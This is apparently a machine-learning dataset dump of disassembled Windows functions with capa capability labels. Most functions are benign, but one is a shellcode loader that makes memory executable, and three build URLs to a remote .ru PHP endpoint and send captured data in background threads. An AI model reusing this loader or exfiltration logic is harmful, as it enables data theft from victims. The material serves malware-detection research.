joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a6130
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x6a1564]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push edi
push ecx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], 0x10
mov eax, dword [esi + 0x16c]
or edi, 0xffffffff
mov ebx, dword [esi]
push ecx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x5a6188
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push dword [ebp - 0x1c]
push esi
call fcn.005900c0
add esp, 8
cmp edi, 0xffffffff
jne 0x5a61bd
push str.Error_accept__ing_server_connect
push ebx
call fcn.00581650
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044e9c4
mov esp, ebp
pop ebp
ret
push str.Connection_accepted_from_server_n
push ebx
call fcn.005816f0
push 1
mov byte [esi + 0x223], 0
push edi
mov dword [esi + 0x16c], edi
call fcn.005afc30
mov byte [esi + 0x179], 1
add esp, 0x10
mov eax, dword [ebx + 0x198]
test eax, eax
je 0x5a6222
push 1
push edi
push dword [ebx + 0x19c]
call eax
add esp, 0xc
test eax, eax
je 0x5a6222
push esi
call fcn.005a6640
add esp, 4
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044e9c4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044e9c4
mov esp, ebp
pop ebp
ret

Function at 0x5a8590
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ecx - 0xc8]
mov edx, dword [edi]
cmp eax, 0x64
jb 0x5a85bf
push str.Couldnt_set_desired_mode
push edx
call fcn.00581650
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebp
ret
cmp ecx, 0xc8
je 0x5a85d6
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push edx
call fcn.005816f0
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp eax, 0x13
jne 0x5a85ed
push edi
call fcn.005a8330
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x14
jne 0x5a8601
push edi
call fcn.005a7470
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x15
jne 0x5a8615
push edi
call fcn.005a8310
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x16
jne 0x5a8625
push edi
call fcn.005a8470
mov esi, eax
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x5ad600
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x6a1564]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00555597
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x5ad664
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [ebp - 0x108], 0
je 0x5ad664
lea eax, [ebp - 0x108]
push eax
call dword [0x6a35f0]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044e9c4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0044e9c4
mov esp, ebp
pop ebp
ret

Function at 0x5ad680
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.005ad600
Function at 0x5afc60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x5afc80
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push str.LoadLibraryExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov ebx, eax
push 0x67400c
push esi
mov dword [ebp - 8], ebx
call fcn.005edfef
add esp, 8
test eax, eax
je 0x5afccc
test ebx, ebx
je 0x5afcbc
push 8
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x5afcf5
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x5afcf5
push 0x800
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x5afda0
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5afd11
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x6a35e4]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x5afd96
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x5afd96
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5afd42
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5afd60
sub ecx, edx
add ecx, ebx
sub ecx, esi
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x5afd70
mov eax, dword [ebp - 8]
test eax, eax
je 0x5afd8d
push 8
push 0
push ebx
call eax
jmp 0x5afd94
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x6a35e8]
add esp, 4
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x5b3170
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push esi
push edi
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [edi + esi - 1], 0
test eax, eax
jne 0x5b31a3
push 0x2e
push edi
call fcn.00545490
add esp, 8
test eax, eax
je 0x5b31a1
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x5b54d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x6a35e4]
mov edi, eax
add esp, 4
test edi, edi
jne 0x5b54fd
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x5b5544
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], ebx
jmp 0x5b554a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x5b55ab
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop word [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x5b5570
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x5b55d7
mov eax, dword [esi + 4]
push 1
push str.6compile____________________________________________________________________________________________________________________________________________.c
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x6747af
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x5b55b0
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e004]
jne 0x40100a
repz ret
jmp fcn.004014da

Function at 0x4042fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00401ca2
and dword [ebp - 0x14], 0
cmp dword [0x4408c8], 0
mov dword [ebp - 0x18], eax
jne 0x4043ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404456
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404456
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4408c8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4408cc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4408d0], eax
call edi
push eax
call esi
mov dword [0x4408d8], eax
test eax, eax
je 0x4043ae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4408d4], eax
mov eax, dword [0x4408d4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404407
cmp dword [0x4408d8], ecx
je 0x404407
push eax
call esi
push dword [0x4408d8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404407
test ebx, ebx
je 0x404407
call edi
test eax, eax
je 0x4043fe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4043fe
test byte [ebp - 8], 1
jne 0x404407
or dword [ebp + 0x10], 0x200000
jmp 0x40443a
mov eax, dword [0x4408cc]
cmp eax, dword [ebp - 0x18]
je 0x40443a
push eax
call esi
test eax, eax
je 0x40443a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40443a
mov eax, dword [0x4408d0]
cmp eax, dword [ebp - 0x18]
je 0x40443a
push eax
call esi
test eax, eax
je 0x40443a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4408c8]
call esi
test eax, eax
je 0x404456
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404458
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x405690
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x43e004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056c9
mov eax, dword [0x43f934]
mov dword [0x47c694], eax
cmp dword [0x47c30c], 0x3c
jne 0x4056d5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4056b7
cmp dword [0x47c30c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40575b
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x47c30c], 0x110a
jne 0x4057c2
push ebx
mov dword [0x47c300], ebx
mov dword [0x47c304], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.migicaranafojoyota_feganowofu_vuj_lelalezecebesijorabifovihapida
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
add esp, 0x18
push ebx
call fcn.004012d2
call fcn.00405440
xor ecx, ecx
cmp dword [0x47c30c], ebx
jbe 0x4057fc
mov eax, dword [0x47c694]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x47c030]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x47c30c]
jb 0x4057d1
push str.msimg32.dll
call esi
mov ecx, dword [0x47c30c]
mov edx, dword [0x47c030]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405610
call fcn.00405460
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405859
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405862
inc esi
cmp esi, 0x1ece7a52
jl 0x405836
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
cmp esi, 0x12e6c3
jne 0x40587d
call fcn.00405430
cmp dword [0x47c30c], 0x3dc
mov dword [0x47c034], 0x8e46a6f0
jne 0x4058b7
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.rixovohucivununiboneb_huzurucurajo_jajonaberewevale_sivakawizematec
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405870
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x1005fd02
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x1005fd45
call fcn.10042558
mov dword [eax], 0xf
call fcn.1004256b
mov dword [eax], 0xd
call fcn.1004b9a3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10015fc5
leave
ret
test eax, eax
jne 0x1005fd4c
inc eax
jmp 0x1005fd39
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x1005fd37
xor eax, eax
cmp ecx, 1
setne al
jmp 0x1005fd39
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.21310
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_g1_hyfvcskgqgdolkgiubnmsdgew.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.21310
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_g1_hyfvcskgqgdolkgiubnmsdgew.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.21310
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_g1_hyfvcskgqgdolkgiubnmsdgew.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret